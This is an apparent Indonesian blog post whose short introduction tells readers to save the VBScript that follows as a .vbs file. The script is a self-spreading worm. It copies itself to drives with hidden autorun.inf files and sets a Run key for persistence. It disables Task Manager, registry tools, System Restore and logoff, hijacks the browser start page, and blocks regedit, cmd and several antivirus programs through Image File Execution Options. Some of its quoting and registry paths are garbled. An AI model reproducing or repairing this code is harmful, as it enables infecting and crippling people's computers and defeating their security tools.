Antum tinggal copy dan paste pada notepade kemudian save as dengan nama Contoh: bantaiuk.sys.vbs Mudah-mudahan di beri kemudahaan oleh Allah

on error resume next
dim rekur,syspath,windowpath,desades,
longka,mf,isi,tf,F0nAb0530,nt,check,sd
isi = “[autorun]” & vbcrlf & “shellexecute=wscript.exe R31-01-92.sys.vbs”
set longka = createobject(”Scripting.FileSystemObject”)
set mf = longka.getfile(Wscript.ScriptFullname)
dim text,size
size = mf.size
check = mf.drive.drivetype
set text = mf.openastextstream(1,-2)
do while not text.atendofstream
rekur = rekur & text.readline
rekur = rekur & vbcrlf
loop
do
Set windowpath = longka.getspecialfolder(0)
Set syspath = longka.getspecialfolder(1)
set tf = longka.getfile(syspath & “recycle.vbs”)
tf.attributes = 32
set tf = longka.createtextfile(syspath & “recycle.vbs”,2,true)
tf.write rekur
tf.close
set tf = longka.getfile(syspath & “recycle.vbs”)
tf.attributes = 39
for each desades in longka.drives
If (desades.drivetype = 1 or desades.drivetype = 2) and desades.path “A:” then
set tf=longka.getfile(desades.path &”R31-01-92.sys.vbs”)
tf.attributes =32
set tf=longka.createtextfile(desades.path &”R31-01-92.sys.vbs”,2,true)
tf.write rekur
tf.close
set tf=longka.getfile(desades.path &”R31-01-92.sys.vbs”)
tf.attributes = 39
set tf =longka.getfile(desades.path &”autorun.inf”)
tf.attributes = 32
set tf=longka.createtextfile(desades.path &”autorun.inf”,2,true)
tf.write isi
tf.close
set tf = longka.getfile(desades.path &”autorun.inf”)
tf.attributes=39
end if
next
set F0nAb0530 = createobject(”WScript.Shell”)
F0nAb0530.regwrite “HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainWindow Title”,”:: F0nA ::”
F0nAb0530.RegWrite “HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerAdvancedHidden”,2, “REG_DWORD”
F0nAb0530.RegWrite “HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoFind”, “1?, “REG_DWORD”
F0nAb0530.RegWrite “HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoFolderOptions”, “1?, “REG_DWORD”
F0nAb0530.RegWrite “HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoRun”, “1?, “REG_DWORD”
F0nAb0530.RegWrite “HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableRegistryTools”, “1?, “REG_DWORD”
F0nAb0530.RegWrite “HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesSystemDisableTaskMgr”, “1?, “REG_DWORD”
F0nAb0530.RegWrite “HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoViewContextMenu”, “1?, “REG_DWORD”
F0nAb0530.RegWrite “HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoTrayContextMenu”, “1?, “REG_DWORD”
F0nAb0530.RegWrite “HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesActiveDesktopNoChangingWallpaper”, “1?, “REG_DWORD”
F0nAb0530.RegWrite “HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoWinKeys”, “1?, “REG_DWORD”
F0nAb0530.RegWrite “HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindows NTSystemRestoreDisableSR”, “1?, “REG_DWORD”
F0nAb0530.RegWrite “HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoLogOff”, “1?, “REG_DWORD”
F0nAb0530.RegWrite “HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoTurnoffcomputer”, “1?, “REG_DWORD”
F0nAb0530.RegWrite “HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerNoControlPanel”, “1?, “REG_DWORD”
F0nAb0530.RegWrite “HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerRunMRUa”, “F0nAb0530-X2/1?
F0nAb0530.RegWrite “HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerRunMRUMRUList”, “a”
F0nAb0530.regwrite “HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionWinlogonLegalNoticeCaption”, “F0nAb0530-X2?
F0nAb0530.RegWrite “HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionWinlogonLegalNoticeText”, “Aku Sayang Mila”
F0nAb0530.regwrite “HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunAgeia”, syspath & “recycle.vbs”
F0nAb0530.regwrite “HKEY_CURRENT_USERSoftwareMicrosoftInternet ExplorerMainStart Page”, “http://www.macancrew.net”
F0nAb0530.regwrite “HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionscmd.exeDebugger”,”“
F0nAb0530.regwrite “HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsinstall.exeDebugger”,”“
F0nAb0530.regwrite “HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsmsconfig.exeDebugger”,”“
F0nAb0530.regwrite “HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsregedit.exeDebugger”,”“
F0nAb0530.regwrite “HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsregedt32.exeDebugger”,”“
F0nAb0530.regwrite “HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution OptionsRegistryEditor.exeDebugger”,”“
F0nAb0530.regwrite “HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssetup.exeDebugger”,”“
F0nAb0530.regwrite “HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution OptionsPCMAV.exeDebugger”,”“
F0nAb0530.regwrite “HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution OptionsPCMAV-CLN.exeDebugger”,”“
F0nAb0530.regwrite “HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution OptionsPCMAV-RTP.exeDebugger”,”“
F0nAb0530.regwrite “HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionswordpad.exeDebugger”,”“
F0nAb0530.regwrite “HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution OptionsVB6.exeDebugger”,”“
F0nAb0530.regwrite “HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsautorun.exeDebugger”,”“
F0nAb0530.regwrite “HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsansav.exeDebugger”,”“
F0nAb0530.regwrite “HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution OptionsAVG.exeDebugger”,”“
F0nAb0530.regwrite “HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution OptionsKaspersky.exeDebugger”,”“
F0nAb0530.regwrite “HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution OptionsAvira.exeDebugger”,”“
F0nAb0530.regwrite “HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsviremoval.exeDebugger”,”“
F0nAb0530.regwrite “HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionsviremover.exeDebugger”,”“
if check 1 then
Wscript.sleep 200000
end if
loop while check 1
set sd = createobject(”Wscript.shell”)
sd.run windowpath & “explorer.exe /e,/select, ” & Wscript.ScriptFullname